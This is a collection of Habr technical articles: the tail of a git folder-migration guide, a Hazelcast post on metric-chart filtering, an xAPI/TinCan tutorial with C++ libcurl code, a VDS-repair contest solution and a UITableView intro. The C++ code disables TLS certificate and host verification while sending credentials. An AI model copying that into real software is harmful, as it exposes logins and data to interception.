4. `git pull old-repo-branch master`
После выполнения этого шага цель будет практически достигнута – у вас уже будет весь контент `folder-to-move` в локальном репозитории `new-repo`, останется только сделать push. Но сначала нужно сделать кое-что еще.
5. `git remote rm old-repo-branch`
Вам же больше не нужен второй remote, верно?
6. `git push origin master`
Готово! Теперь в вашем новом репозитории есть только интересующая вас папка вместе со всей историей коммитов. Например, сразу после вышеописанных шагов я увидел следующее в своем новом репозитории:
810 коммитов!
Кстати, вы увидите только 1 бранч – `master`. Процедура переносит только один бранч за раз. Если вы хотите перенести `dev`, то вам нужно просто сделать `git checkout dev` и `git pull origin dev` после второго шага на обоих этапах.
Если вам нужно перенести все 50 (60? 100?) бранчей, то данное решение не будет удачным из-за слишком большого количества рутинной работы. Но я считаю, что для переноса достаточно лишь сохранить master и dev бранчи, потому что все feature branches уже должны быть в dev, а новые бранчи вы будете ветвить уже в новом репозитории.
##### UPDATE
Спасибо [fstep](https://habrahabr.ru/users/fstep/) за подсказку. Можно просто воспользоваться другой гитовой утилитой – `subtree`. Для этого нужно всего ничего:
1. `git clone`
2. `git remote rm origin`
Обратите внимание – эти 2 шага опциональны, вы можете выполнять следующие шаги напрямую из вашего "боевого" локального репозитория. Иметь клон с удаленным origin – мое личное предпочтение, чтобы даже не иметь шанса как-то сломать оригинальный репозиторий.
3. `git subtree split --prefix folder-to-move master`
Или любой другой бранч, кроме `master`. Эта команда будет долго вычислять значения, но в итоге вернет вам что-то вроде `253f8a5edd9a4dbbb1d72e5837243e93c92ebfcd`
4. `git push git@github.com:/new-repo.git 253f8a5edd9a4dbbb1d72e5837243e93c92ebfcd:master --force`
Здесь мы пушим с флагом `--force`, потому что `new-repo` наверняка будет иметь как минимум readme файл, который вы (вероятно) не захотите пуллить.
Ну, а если `new-repo` является совсем свежим и не содержит даже readme файла – другими словами, вообще не содержит файлов, то все еще проще:
`git subtree push --prefix folder-to-move git@github.com:/new-repo.git master` | https://habr.com/ru/post/326132/ | null | ru | null |
# How to display a gazillion of metrics and keep your sanity
> I now have a new shiny blog. Read this article with the latest updates there <https://blog.goncharov.page/how-to-display-a-gazillion-of-metrics-and-keep-your-sanity>
Large scale equals distributed. Distributed equals inevitable complexity. Complexity at runtime equals extensive monitoring. At Hazelcast, doing distributed systems well is our bread and butter. It means we have no choice but to be huge fans of collecting all kinds of metrics to stay on guard of the data our users trust us with.
In Management Center `4.2020.08`, we drastically changed the model of how we transfer the metric data from the cluster members to the Management Center, how we store it, and how we display it. In this post, we are going to talk about the latter bit of the triad.
We will discuss what to do when you want to display all the data at once, but your users have a limited number of monitors and only one pair of eyes. We will speculate about what users actually want to see when they look at a chart of a monitoring web app. We will go over different approaches to filter the data, and how an average, a median, and a definite integral play their key roles.
[Cross-posted from hazelcast.com](https://hazelcast.com/blog/how-to-display-metrics-and-keep-your-sanity/)
4.2020.08! 4.2020.08! 4.2020.08! Why are we so excited?
-------------------------------------------------------
This release stands on 3 pillars:
1. Enhanced UX for developers
2. Unification with the Jet Management Center
3. New metric engine
### Pillar 1. Enhanced UX for developers.
We love developers and loathe unnecessarily complex UIs. As you might know, Hazelcast Management Center supports [numerous security providers](https://docs.hazelcast.org/docs/management-center/latest/manual/html/index.html#authentication-options). Prior to 4.2020.08, the default choice was to use username/password based authentication, which we called the "Default" authentication. We are happy to present you with the "Dev Mode" security provider!
Internally, we call it "Just click save" security provider. Go ahead and [try it yourself](https://hub.docker.com/r/hazelcast/management-center/). We are keen to [hear back from you](https://slack.hazelcast.com/)!
### Pillar 2. Unification with the Jet Management Center.
What the heck is Jet? It is a blazing fast distributed computing platform built on top of Hazelcast In-Memory Data Grid. [Here](https://jet-start.sh/) you can read more about it. Previously, Jet had its own Management Center, but not anymore. One Hazelcast — one Management Center!
### Pillar 3. New metric engine.
Since the dawn of time we used the "push" model to collect the metric data from the cluster. It is not even entirely correct to use the word "collect" here. Collecting is an active process. We received the metric data from the cluster. Every node had to know the address of the management center, and it pushed its metric data to that address.
With 4.2020.08 we are trilled to reverse that paradigm and start polling cluster members for metric data! It is a huge change but we have not stopped there. Here is a list with new major metric-related features:
1. The "poll" model instead of the "push" one.
2. A new metrics storage for time-series data implemented on top of [RocksDB](https://rocksdb.org/).
3. [Prometheus](https://prometheus.io/) exporter for the metric data.
4. A new customizable UI widget to display the metric data.
Having that said, let's dive deeper in the anatomy of the widget, and what problems we faced while creating it.
The widget
----------
### What users want to see and why
What is the purpose of monitoring? One could argue that the whole point is to provide top management with pretty charts and multi-page reports with statistics. Jokes aside. What is the real purpose of monitoring? Why do we stare at all these graphs for ours? The ultimate goal is to detect abnormalities as early as possible. Why? Because any abnormality is a predecessor to potential issues.
Speaking of monitoring in general, we are usually speaking of time series data (a list of data points in time order, in our case they come to the front end as `{ time: number; value: number }[]`). Speaking of monitoring of distributed systems, we are usually speaking of multiple time series. Multiple time series cause multiple problems.
#### Problem 1. How do we analyze graphs?
We have several data points. We use fancy or not so fancy methods of interpolation to draw continuous lines that resemble the original continuous real-world data standing behind the discrete data. How do we detect abnormality there?
We can analyze graphs:
1. Individually
2. As a group
For individual analysis, we already have the data points containing scalar values. Comparing scalars is, if not simple, at least doable.
For group analysis, we have to somehow calculate a single scalar out of a time series for each time series, and compare the resulting scalars. There are endless possibilities of how one could do the calculation, depending on the needs of the business. We will go over a small bit of them that we chose for our application down below.
As we can see, for both methods of analysis we end up with a list of scalars that we need to somehow compare.
#### Problem 2. How do we find an abnormality in a list of scalars?
Generally speaking, we have 4 ways of describing abnormality:
1. We can define a range a values that are considered normal. If anything falls out of the range then it is abnormal. For example, we can say that `[-42,42]` is our normal range. Then `7` would be considered normal, and `43` would be abnormal.
2. We can define a predicate for normality. If a value satisfies the predicate than it is considered normal. Otherwise, it is abnormal. For example, we can say that all integer odd values are normal range. Then `7` would be considered normal, and `7.5` or `42` would be abnormal.
3. We can define a range a values that are considered abnormal. If anything falls out of the range then it is normal. Basically, it is a negation of #1.
4. We can define a predicate for abnormality. If a value satisfies the predicate than it is considered abnormal. Otherwise, it is normal. Basically, it is a negation of #2.
We can also detect abnormality iteratively, using different methods (listed above) at different stages, chaining them. For example, we could consider abnormal only integer odd values that belong to `[0, 42)`.
With a few exceptions, predicates make the most sense for analyzing potentially infinite lists, as they, usually, require limited processing power and memory.
Ranges are not that simple. Ranges can be:
1. Static
2. Dynamic
Static range is constant predefined range that does not change when new metrics data comes in. Say, we have a cluster of 30 machines. Every machine has 16 GB of RAM. Knowing the average expected load, we could identify the normal range for the used RAM as `[1.6 GB, 14.4 GB]` (from 10% and up to 90%). That would be a perfect example of a static range. It does not depend on the number of machines or the phase of the moon.
For some metrics and under certain conditions, we could define a range of normal values beforehand, without analyzing the metric data itself. Say, we have a cluster of 30 machines. Every machine has 16 GB of RAM. Knowing the expected load, we could identify the normal range for the used RAM as `[1.6 GB, 14.4 GB]` (from 10% and up to 90%).
However, not all metrics have a universal predefined range of possible values that make sense for any system. For those metrics, we have to evaluate them by comparison to their peers, i.e. process the whole list of scalars to define the normal range, and then process the list all over again to identify the abnormal range. We can see that the complexity here scales at least linearly with the size of the list.
As a result, we see that abnormality could be identified in 2 ways:
1. Absolutely
2. Relatively
The absolute abnormality detection is simpler to understand and implement. It also, usually, requires less processing power as it does not require a dynamic range calculation. It could be used on a potentially unlimited list of scalars. However, it has a restricted area of application as not all metrics have a constant predefined range of metrics.
The relative abnormality detection is more complex. It requires a dynamic range calculation and, therefore, could be used only on the limited list of scalars. However, it could be applied to any metric in the cluster.
The absolute abnormality detection requires users to have deep knowledge of the system to define the normal/abnormal range. In comparison, the relative abnormality detection allows users to easily identify if any metric on any node significantly deviates from the average cluster value without the prior knowledge of the system, or without the expert knowledge of the normal reference range for the system.
#### Problem 3. How do we display the abnormality?
Say, we have 100 time series. We identified 20 of them as abnormal. How do we display them?
We could display all 100 graphs, and somehow mark the 20 abnormal ones. For instance, we could color code them, but would you be comfortable browsing through 100 graphs? I certainly would not be. I seriously doubt any living human being could make any sense of that mess.
We could display only the 20 abnormal ones. But then we wouldn't know what is considered normal. What was the benchmark against which we identified the abnormality?
Should we display the 20 abnormal ones and additionally draw a graph with the calculated reference value, considered normal? Yes and no! Yes, because it is the correct principal. We should display the abnormal lines along with the reference normal one. No, because 20 graphs are still too much to comprehend. Various studies on how many items a human being can focus on simultaneously show different results on a range from 3 to 7-9. As the final number varies from study to study, it is still a single-digit number everywhere. It means that `20` is still not good enough. How do we go from `20` to a single-digit number?
Previously, we said we could detect abnormality iteratively. Why don't we apply that idea here? Once we detect the initial list of abnormal scalars, we could sort them in the ascending order by their deviation from the reference normal scalar, and leave only those with the biggest deviation.
After experimenting a bit ourselves, we decided that 4 is a good number. So for a single metric we decided to display up to 3 abnormal graphs along with the reference normal one.
### Filters
Hazelcast cluster could have hundreds of members. It means that for every metric we have hundreds of time series. We could not display all of them. Inevitably, we had to somehow help our users to find the abnormality and filter out the result graphs.
As of Management Center `4.2020.08`, we provide our users with 6 different filters:
1. Peak Top 3
2. Peak Bottom 3
3. Average Top 3
4. Average Bottom 3
5. Outliers
6. Manual Selection
#### Manual Selection
Let's start with the most boring one — Manual Selection. It allows users to select several members out of the list of cluster members they want to see the metric data for. Our front end receives the data only for those members. Piece of cake.
#### Peak Top 3/Peak Bottom 3
Do you remember what we have to do to analyze time series as a group? We have to calculate a scalar value for every time series. When you think of a calculation approach, one of the first things that comes to mind is just to take the absolute maximum value of the function.
Given that every data point is `{ time: number; value: number }`, the implementation is straightforward:
```
const timeSeriesResScalar = Max.max(timeSeries.map(({ value }) => value))
```
After that, we sort our multiple time series in the descending order by their calculated scalars, and take the first 3 time series. We call this filter `Peak Top 3`. For the `Peak Bottom 3`, we swap `Math.max` for `Math.min`, but the idea is the same.
We do not calculate any average cluster value (a reference normal value) with this approach, leaving the final judgment of normality to the admin. However, we might start doing it if there is a strong demand.
Have you noticed any problems with the Peak filter? One data point with an extraordinary value can make the whole time series range higher even though all other data points have rather small values. For some metrics with modest volatility Peak filter is exactly what we need. Those short term surges could indicate a potential abnormality. But what about highly volatile metrics? We need a way to minimize the effect of those short-term spikes on the result scalar. Here is where the story of mean and median begins.
#### Mean and median
Barry has 4 pots of gold. Amy, John and Douglas have 0. The mean value here is 1. The median, however, is 0. How do we calculate them?
Mean is the average you are used to. Calculate the sum of the items in the list and divide it by the number of the items.
Median is the middle value of the list. Sort the list in the ascending order. If the number of items is odd, the middle item of your sorted list is the median. If the number of items is even, sum two middle numbers and divide them by 2.
In terms of monitoring it means that mean accounts for extraordinary spikes. Several of them can drastically change the resulting scalar. Median, on the contrary, filters out the surges.
Should we stop at the mean and the median though?
#### Average by integral
Let me rephrase it. Should we stop at the arithmetic mean and the median though? After all, we are not calculating an average of a list of simple numbers, these are data points of a time series. By extracting only values and operating only on the values we simply disregard the time factor.
Consider these two graphs:
The arithmetic means for their values are the same. Do you think they adequately represent the average value for both functions? What scalar value could be used to describe a function?
It is the area under the curve. Ladies and gentlemen, please, give your warmest welcome to the definite integral!
Usually, we are speaking of a definite integral of a function, but with a time series we do not have a function. Instead, we have a list of discrete data points. Luckily, we do not have to reinvent the wheel. There is an area of study in math researching specifically this problem called numerical integration of discrete data or discrete data integration.
There are various methods of discrete data integration. We will consider only one of them. The one we used for the widget — the trapezoidal rule.
Consider the following graph:
You can see how the data points of the time series form 3 trapezoids. To find the area under the interpolated curve we need to find areas of those 3 trapezoids and sum them up.
For trapezoid `A` it is `((2+4)/2)*(2-1)` and equals `3`. For trapezoid `B` it is `((1+4)/2)*(2.5-2)` and equals `1.25`. For trapezoid `C` it is `((1+1.5)/2)*(7-2.5)` and equals `5.625`. So the final square is `3+1.25+5.625` and equals `9.875`.
To find the average value of the function we now only need to divide its area by its projection on the `x` axis. Imagine it as if we are trying to find the height of a rectangle with the same length as the projection of the function and with the same area.
So the TypeScript function to find the average could look like this:
```
export const averageByTrapezoidalRule = (
data: { value: number; time: number }[],
): number => {
let totalArea = 0
for (let i = 0; i < data.length - 1; i += 1) {
const point1 = data[i]
const point2 = data[i + 1]
totalArea += ((point2.value + point1.value) / 2) * (point2.time - point1.time)
}
const average = totalArea / (data[data.length - 1].time - data[0].time)
return average
}
```
#### Average Top 3/Average Bottom 3
With all that knowledge, let's now build an algorithm for the `Average Top 3` filter:
1. For every time series calculate its average by the trapezoidal rule.
2. Sort the multiple time series in the descending order.
3. Take the first 3 of them.
For the `Average Bottom 3` we just reverse the sorting.
For both of these filters, we still do not calculate any average cluster value (a reference normal value) leaving the final judgment of normality to the admin.
#### Outliers
Alrighty, so all previous filters require some expert knowledge of the system to identify if the displayed values are normal or abnormal. Could we create a filter that unleashes the whole power of the relative abnormality detection, and helps us find the abnormal graphs based on the peer values?
It is our default filter. We call it the `Outliers` or simply `auto`. The core idea is to calculate the reference normal value based on the multiple time series as some sort of average. Calculate averages for every time series using the trapezoidal rule. Compare their averages with the reference value. If it deviates from the reference value by more than 30%, consider it abnormal.
The trick is with finding the reference value. Originally, we did it all on the frontend.
1. We calculated averages for every time series.
2. We calculated a median of those averages.
3. We used the median as the reference value.
Why the median? Say, you have a cluster of 10 nodes. 2 of those nodes deviate from the median by some extreme value, say, 300%. They could shift the reference value, so one of the normally behaving members could start being an outlier. The median mitigates the effect of outliers on the reference value.
Later, our backend provided us with a cool aggregation API for the metric time series data. So now we:
1. Request the `MEDIAN` aggregate for all nodes.
1. `MEDIAN` aggregate is a time series as well. For its every data point it takes values for all nodes for the timestamp, and returns a median of those values.
2. Calculate the average of the median time series.
3. Use the calculated average as the reference value.
Now we disassembled our reference value calculation. Only one last question still stands. What happens when there are too many outliers?
If we find more than 3 outliers we sort the outliers in the ascending order by their deviation from the reference value, and take only the top 3 with the greatest deviation.
The final `Outliers` algorithm looks like this:
1. Request the `MEDIAN` aggregate.
2. Display it as a dashed graph on the chart.
3. Calculate its average by the trapezoidal rule. Consider it a reference value.
4. Calculate averages for every time series.
5. Leave only ones that deviate from the reference value by more than 30%.
6. Sort them in ascending order by the deviation. Display the top 3 time series with the greatest deviation.
As you can see, with the `Outliers` we have the reference graph, so it is easy to understand what is considered normal at first glance.
Future plans for the widget
---------------------------
Going further, we would like to:
1. Make the outliers threshold adjustable.
2. Allow zooming and out for both X and Y axes.
3. Make the maximum number of graphs adjustable.
We encourage you [try he new Management Center yourself](https://hub.docker.com/r/hazelcast/management-center/), and get back to us with your [feedback](http://slack.hazelcast.com/)! Stay tuned for the new posts with the lessons we learned a truly distributed enterprise-ready in-memory data grid. | https://habr.com/ru/post/517532/ | null | en | null |
# Использование xAPI (Tin Can) и CMI5 в имитаторах
Несмотря на то, что SCORM 2004 еще «держит позиции», пора начинать поддерживать новые стандарты. Сегодня попробуем разобраться с xAPI / TinCab / CMI5. Обязательно протестируем код на официальных сайтах [www.SCORM.com](http://www.SCORM.com) и [www.adlnet.gov](http://www.adlnet.gov).
Итак, Tin Can API — это спецификация программ в сфере дистанционного обучения, которая позволяет обучающим системам общаться между собой путём отслеживания и записи учебных занятий всех видов. Информация об учебной деятельности сохраняется в специальную базу — хранилище учебных записей (англ. learning record store, LRS).
Подробно можно прочесть на [books.ifmo.ru/file/pdf/1772.pdf](https://books.ifmo.ru/file/pdf/1772.pdf)
2-ая часть данной статьи — <https://habr.com/ru/post/508882/>
Особенности Tin Can API:
Tin Can API — предлагаемая замена спецификации SCORM
Tin Can API позволяет записывать любой опыт обучения, что дает нам более полную картину обучения конкретного человека
Tin Can API снимает с данных ограничения, накладываемые СДО
Tin Can API способен оказать неоценимую помощь учебным отделам, сопоставляя данные о качестве выполнения работы с учебными данными, тем самым повышая эффективность обучения.
Это теория, теперь практика.
При работе с SCORM все было относительно просто, нужно было «выставить» значения фиксированных переменных или получить значения фиксированных переменных.
Ну например…
```
min = 0
max= 100
raw_score = 100
scaled = raw_score / max -- Оценка приведенная к диапазону 0..1.
ScormSetValue("cmi.score.min", ""..min); -- Минимальная оценка
ScormSetValue("cmi.score.max", ""..max); -- Максимальная оценка
ScormSetValue("cmi.score.raw", ""..raw_score); -- Полученная оценка
ScormSetValue("cmi.score.scaled", ""..scaled); -- Оценка приведенная к диапазону 0..1.
--Объем (количество) 0..1
ScormSetValue("cmi.progress_measure", "1");
ScormSetValue("cmi.success_status", "passed");
ScormSetValue("cmi.completion_status", "completed");
ScormGetValue("cmi.learner_name");
ScormGetValue("cmi.learner_id");
ScormGetValue("cmi.suspend_data");
ScormGetValue("cmi.scaled_passing_score");
ScormGetValue("cmi.completion_threshold");
print ( ScormGetValue("cmi._version"))
print ( ScormGetValue("cmi.total_time"))
print ( ScormGetValue("cmi.time_limit_action"))
print ( ScormGetValue("cmi.max_time_allowed"))
--Запись значений интеракций
ScormSetValue("cmi.interactions.0.id","Step1");
ScormSetValue("cmi.interactions.0.description", "17:14:28 Произвести аварийный останов работающих компрессорных станций")
ScormSetValue("cmi.interactions.0.result","correct");
ScormSetValue("cmi.interactions.1.id","Step2");
ScormSetValue("cmi.interactions.1.type","fill-in");
ScormSetValue("cmi.interactions.1.objectives.0.id","urn:ADL:objectiveid-0001");
ScormSetValue("cmi.interactions.1.description", "privet");
ScormSetValue("cmi.interactions.1.learner_response", "privet");
ScormSetValue("cmi.interactions.1.timestamp", "2005-10-11T09:00:30");
ScormSetValue("cmi.interactions.1.correct_responses.0.pattern", "privet");
ScormSetValue("cmi.interactions.1.weighting", "1");
--correct, incorrect, unanticipated, neutral , number 0..1
ScormSetValue("cmi.interactions.1.result","unanticipated");
ScormSetValue("cmi.interactions.1.latency", "PT0H0M5.0S");
ScormSetValue ("cmi.comments_from_learner.0.comment",q1);
ScormSetValue ("cmi.comments_from_learner.1.comment",q2);
```
Примерно так все и делалось… Теперь на xAPI…
Далее идет список тех LRS на которых я выполнял тестирование взаимодействия (необходима регистрация и получение login/pass соответственно)…
* host = «[cloud.scorm.com/ScormEngineInterface/TCAPI/public/statements](https://cloud.scorm.com/ScormEngineInterface/TCAPI/public/statements)»
* host = «[lrs.adlnet.gov/xapi/statements](https://lrs.adlnet.gov/xapi/statements)»
* //просмотр — [lrs.adlnet.gov/prototypes/StatementViewer/index.html](https://lrs.adlnet.gov/prototypes/StatementViewer/index.html)
* [watershed.ws/tc](https://watershed.ws/tc)
* [tincanapi.com/public-lrs](http://tincanapi.com/public-lrs/)
* host = «[cloud.scorm.com/tc/QXTBX7C4VK/sandbox/statements](https://cloud.scorm.com/tc/QXTBX7C4VK/sandbox/statements/)»
* //просмотр — [cloud.scorm.com/sc/user/LRSView](https://cloud.scorm.com/sc/user/LRSView)
Для взаимодействия с xAPI на C++ нам понадобится CURL и какая-нибудь библиотека для работы с JSON (cJSON например)…
Тогда использование xAPI можно выполнять например так:
```
TinCanAddRecord("actor:::mbox:::mailto:mathmodel@mathmodel.com") TinCanAddRecord("actor:::name:::mathmodel")
TinCanAddRecord("actor:::objectType:::Agent")
TinCanAddRecord("verb:::id:::http://adlnet.gov/expapi/verbs/interacted")
TinCanAddRecord("object:::id:::http://lcontent.ru/lms1/simulator2")
TinCanAddRecord("object:::objectType:::Activity")
TinCanAddRecord("object:::definition:::type:::http://www.lcontent.ru/lms1/simulator1")
TinCanAddRecord("object:::definition:::name:::en-US:::mathmodel")
TinCanAddRecord("object:::definition:::description:::en-US:::mathmodel log")
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/Teapot1 angle:::" .. a1)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/Teapot2 angle:::" .. a2)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/Teapot3 angle:::" .. a3)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/time:::" .. (os.clock() - veryoldtime))
TinCanAddRecord("actor:::mbox:::mailto:maxgammer@gmail.com")
TinCanAddRecord("actor:::name:::Maxim Gammer")
TinCanAddRecord("actor:::objectType:::Agent")
TinCanAddRecord("verb:::id:::http://adlnet.gov/expapi/verbs/interacted")
TinCanAddRecord("object:::id:::http://lcontent.ru/lms1/simulator2")
TinCanAddRecord("object:::objectType:::Activity")
TinCanAddRecord("object:::definition:::type:::http://lcontent.ru/lms1/simulator1")
TinCanAddRecord("object:::definition:::name:::en-US:::User move")
TinCanAddRecord("object:::definition:::description:::en-US:::User coordinates")
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/time:::" .. (os.clock() - veryoldtime))
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/X:::" .. UserData.X)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/Y:::" .. UserData.Y)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/Z:::" .. UserData.Z)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/HeadYaw:::" .. UserData.HeadYaw)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/HeadPitch:::" .. UserData.HeadPitch)
TinCanAddRecord("object:::extensions:::http://lcontent.ru/upsv/HeadRoll:::" .. UserData.HeadRoll)
```
Все, смотрим записи в LRS.
"
**InterfaceForTinCan.cpp**
```
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
//using namespace std;
#ifdef WIN32
#include "./cJSON.h"
#else
#include "./cJSON.h"
#endif
class InterfaceForTinCan
{
public:
InterfaceForTinCan();
void AddTinCanRecord(std::string str, std::string type);
void PostToLRS(std::string host, std::string login, std::string password);
void PostFileToLRS(std::string filename);
void PostToFile (std::string filename);
private:
std::vector split(const std::string& s, const std::string& delim, const bool keep\_empty = true ) ;
//созданные объекты
std::map OBJECTS;
//
cJSON \*top;
std::string LRS\_host;
std::string LRS\_login;
std::string LRS\_password;
void PostStringToLRS(std::string zzz);
};
InterfaceForTinCan::InterfaceForTinCan()
{
top=cJSON\_CreateObject();
}
void InterfaceForTinCan::AddTinCanRecord(std::string str, std::string type)
{
//1. преобразуем страку в вектор через разделитель (::: или @@@)
std::vector words = split(str, ":::");
//последние 2 элемента это поле=значение
int numOfObject = words.size();
//
std::string z = words [0];
if( OBJECTS.end() != OBJECTS.find(z))
{
//ключ присутствует
}
else
{
//создаем
OBJECTS[z] =cJSON\_CreateObject();
//клеим к root
cJSON\_AddItemToObject(top,z.c\_str(), OBJECTS[z]);
}
for (int i=1; i < numOfObject -2; i++)
{
std::string oldz = z;
z = z + ":::" + words [i];
if( OBJECTS.end() != OBJECTS.find(z))
{
//ключ присутствует
}
else
{
//создаем
OBJECTS[z] =cJSON\_CreateObject();
//клеим к
cJSON\_AddItemToObject(OBJECTS[oldz], words [i].c\_str(), OBJECTS[z]);
}
}
std::string value = words [numOfObject-1];
if (type=="string")
{
cJSON\_AddStringToObject(OBJECTS[z], words [numOfObject-2].c\_str(), value.c\_str());
}
else if (type=="number")
{
cJSON\_AddNumberToObject(OBJECTS[z], words [numOfObject-2].c\_str(), std::stod(value));
}
else if (type=="bool")
{
bool val = false;
if ((value=="true")||(value=="TRUE")) val = true;
cJSON\_AddBoolToObject(OBJECTS[z], words [numOfObject-2].c\_str(), val);
}
}
void InterfaceForTinCan::PostToLRS(std::string host, std::string login, std::string password)
{
char\* out=cJSON\_Print(top);
std::string zzz = out;
cJSON\_Delete(top);
OBJECTS.clear();
printf("%s\n",out);
free(out);
top=cJSON\_CreateObject();
LRS\_host = host;
LRS\_login = login;
LRS\_password = password;
PostStringToLRS(zzz);
}
void InterfaceForTinCan::PostFileToLRS(std::string filename)
{
std::string zzz;
std::string line;
std::ifstream myfile (filename.c\_str());
if (myfile.is\_open())
{
while ( myfile.good() )
{
getline (myfile,line);
zzz = zzz + line;
}
myfile.close();
}
//
PostStringToLRS(zzz);
}
void InterfaceForTinCan::PostToFile(std::string filename)
{
char\* out=cJSON\_Print(top);
std::string zzz = out;
cJSON\_Delete(top);
OBJECTS.clear();
std::ofstream myfile;
myfile.open (filename);
myfile << zzz;
myfile.close();
free(out);
top=cJSON\_CreateObject();
}
void InterfaceForTinCan::PostStringToLRS(std::string zzz)
{
std::string URL = LRS\_host; //"https://cloud.scorm.com/ScormEngineInterface/TCAPI/public/statements";
std::string loginpassword = LRS\_login + ":" + LRS\_password; //"test:test"
CURL \*curl;
struct curl\_slist \*headers=NULL;
headers = curl\_slist\_append(headers, "Accept: application/json");
headers = curl\_slist\_append( headers, "Content-Type: application/json");
headers = curl\_slist\_append( headers, "X-Experience-API-Version:1.0.0");
headers = curl\_slist\_append( headers, "charsets: utf-8");
curl = curl\_easy\_init();
if (curl)
{
/\* enable verbose for easier tracing \*/
curl\_easy\_setopt(curl, CURLOPT\_VERBOSE, 1L);
curl\_easy\_setopt(curl, CURLOPT\_URL, URL.c\_str());
curl\_easy\_setopt(curl, CURLOPT\_CUSTOMREQUEST, "POST"); //PUT
curl\_easy\_setopt(curl, CURLOPT\_HTTPHEADER, headers);
//
curl\_easy\_setopt( curl, CURLOPT\_USERPWD, loginpassword.c\_str() ); //"test:test"
// With the curl command line tool, you disable this with -k/--insecure.
curl\_easy\_setopt(curl, CURLOPT\_SSL\_VERIFYPEER, false);
curl\_easy\_setopt(curl, CURLOPT\_SSL\_VERIFYHOST, false);
curl\_easy\_setopt(curl, CURLOPT\_POST, 1);
curl\_easy\_setopt(curl, CURLOPT\_POSTFIELDS, zzz.c\_str());
std::cout<< "..." << std::endl;
CURLcode res = curl\_easy\_perform(curl);
std::cout<< std::endl << "..." << std::endl;
/\* Check for errors \*/
if(res != CURLE\_OK)
{
std::cout<< "error:" << std::endl;
fprintf(stderr, "curl\_easy\_perform() failed: %s\n", curl\_easy\_strerror(res));
std::cout << std::endl;
}
curl\_easy\_cleanup(curl);
}
else
{
std::cout << "false" << std::endl;
}
}
std::vector InterfaceForTinCan::split(const std::string& s, const std::string& delim, const bool keep\_empty)
{
std::vector result;
if (delim.empty())
{
result.push\_back(s);
return result;
}
std::string::const\_iterator substart = s.begin(), subend;
while (true)
{
subend = search(substart, s.end(), delim.begin(), delim.end());
std::string temp(substart, subend);
if (keep\_empty || !temp.empty()) {
result.push\_back(temp);
}
if (subend == s.end()) {
break;
}
substart = subend + delim.size();
}
return result;
}
``` | https://habr.com/ru/post/508624/ | null | ru | null |
# Как починить «сломанный» сервер VDS на Windows
Закончился наш [конкурс](https://habrahabr.ru/company/ruvds/blog/281487/) «Админ 80 уровня». Задачей участников было починить «сломанный» VDS сервер. Поздравляем наших Победителей. Главный приз уходит в Саратов, Михаилу Гоч. Победитель справился с задачей менее чем за 2 часа, отличный результат.
Все участники конкурса, не занявшие призовые места, получат 10% скидку на пользование серверами [VDS](https://ruvds.com/) от компании [RUVDS](https://ruvds.com/) пожизненно. Вам будет выслано персональное уведомление на e-mail, указанный при регистрации в конкурсе.
Выкладываем решение.
Итак, начнём!
Пробуем подключиться к серверу стандартным способом через RDP-client. Не выходит. Возможно это и есть одна из задумок конкурса?
Подключаемся через аварийный режим в личном кабинете. Подключились!
Замечаем, что аватарка администратора не загрузилась, поэтому, вероятнее всего, используется non-gui режим.
Вводим учетные данные. Перед нами тёмный экран. Обычно в non-gui режиме сразу открывается cmd.exe, но в данный момент утилита почему-то незапущена.
Вероятно, у текущего пользователя нет прав на её запуск или сам исполняемый файл отсутствует.
Отправляем команду ctrl+alt+del, нажав на кнопку и открываем Task manager. Нам нужно как-то запустить интерпретатор командной строки.
File > New Task… как раз подходит для этой цели. Пробуем дать необходимые права для файла cmd.exe, для этого выполняем команду:
cacls «c:\windows\system32\cmd.exe» /G Administrator:R (используем cacls, так как запуск icacls под текущим пользователем запрещён)
Теперь пробуем запустить cmd.exe через New task… Получилось!
Далее, нам нужно установить компоненты системы, которые необходимы для запуска операционной системы в GUI режиме.
Выполняем:
cacls «C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe» /G Administrator:R
Затем запускаем powershell и выполняем команду:
Add-WindowsFeature Server-Gui-Shell, Server-Gui-Mgmt-Infra
Дожидаемся завершения установки, перезагружаемся. Теперь мы в привычном GUI-режиме, так гораздо удобнее!
Замечаем, что отключено правило, разрешающее входящие подключения на порт 3389. Вот что нам мешало подключиться к нашему серверу по RDP. Включаем и подключаемся через RDP.
Устанавливаем IIS Manager и открываем его.
Заходим в раздел Application Pools и видим, что пул ruvds contest отключен. Включаем…
Далее идём в корневую директорию сайта и открываем файл web.config.
Он содержит следующее:
```
xml version="1.0" encoding="UTF-8"?
```
Приходим к выводу, что нам следует поскорее избавиться от данного файла.
Удаляем…
Вроде бы всё готово… Пробуем открыть адрес [YOUR\_VPS\_IP](https://YOUR_VPS_IP). Невозможно установить соединение. Похоже, нужно заглянуть в настройки файрвола.
Находим правило World Wide Web Services (HTTP Traffic-In) и замечаем, что для профиля public данное правило не действует.
Активируем правило.
Пробуем загрузить страницу — загрузка началась, но происходит очень медленно… Возможно стоит заглянуть в настройки сайта.
Заходим в настройки Limits для нашего сайта.
Замечаем галочку возле Limit bandwidth usage и значение 1024. С такими настройками быстрая загрузка страницы невозможна. Убираем…
Пробуем загрузить страницу…
Вы обладатель бесплатного [VPS](https://ruvds.com/) на год!
Список победителей, так как имена мы не спрашивали, указываем только начальные символы e-mail:
1. место: mgot
2. место: a.svyat
3. место: nightw
4. место: wolf\_k
Надеюсь, это было увлекательно. До новых встреч!
Напишите в комментариях, что вам не понравилось, или понравилось, что бы вы хотели изменить в следующий раз. Спасибо. | https://habr.com/ru/post/281663/ | null | ru | null |
# Делаем UITableView. Для начинающих
Новогодние праздники прошли, а мое стремление писать [полезные](https://habr.com/ru/post/434892/) и [не очень](https://habr.com/ru/post/433940/) статьи — нет! Сегодня поговорим о *UITableView*, работе с *UITableViewDataSource* и переиспользовании ячеек. Затронем как установить рут контроллер без сториборда, ошибки при работе с таблицей, лейаут и большой заголовок для *UINavigationBar*.
